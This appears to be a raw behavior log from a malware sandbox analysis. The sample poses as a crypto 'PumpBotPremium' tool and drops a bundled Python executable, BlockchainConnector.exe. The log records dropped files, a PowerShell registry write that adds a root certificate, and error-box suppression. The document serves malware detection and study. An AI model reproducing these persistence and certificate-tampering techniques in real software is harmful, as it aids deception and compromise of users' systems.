              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\sip.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtWidgets.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_sqlite3.pydJump to dropped file
              Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI8554.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ctypes.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\python310.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_cpuid_c.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\tcl86t.dllJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7BF7.tmpJump to dropped file
              Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5widgets.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\charset_normalizer\md__mypyc.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_brotli.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cryptography\hazmat\bindings\_rust.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_umath.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_generator.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_common.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C48.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imaging.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7B99.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libcrypto-1_1.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_Salsa20.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\cv2.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pythoncom310.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\unicodedata.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_mt19937.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_bz2.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7CB7.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_BLAKE2s.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pyexpat.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aesni.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\fft\_pocketfft_internal.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\select.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\mtrand.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_lzma.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\sqlite3.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\core\_multiarray_tests.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingft.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5gui.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\msvcp140_1.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libssl-1_1.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtGui.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\concrt140.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_decimal.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\vcruntime140_1.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_bounded_integers.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_elementtree.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\libffi-7.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cbc.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ctr.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Protocol\_scrypt.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aes.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ofb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_sfc64.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cfb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_ssl.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C27.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\qt5core.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\win32crypt.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\linalg\_umath_linalg.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\random\_pcg64.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ocb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_webp.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA256.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C87.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ecb.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PIL\_imagingcms.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_strxor.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\python3.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\opencv_videoio_ffmpeg490_64.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_hashlib.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\pywintypes310.dllJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\PyQt5\QtCore.pydJump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeFile created: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\_tkinter.pydJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7CB7.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C27.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C87.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C48.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7B99.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI8554.tmpJump to dropped file
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7BF7.tmpJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\F40042E2E5F7E8EF8189FED15519AECE42C3BFA2 BlobJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\msiexec.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeProcess information set: NOGPFAULTERRORBOXJump to behavior
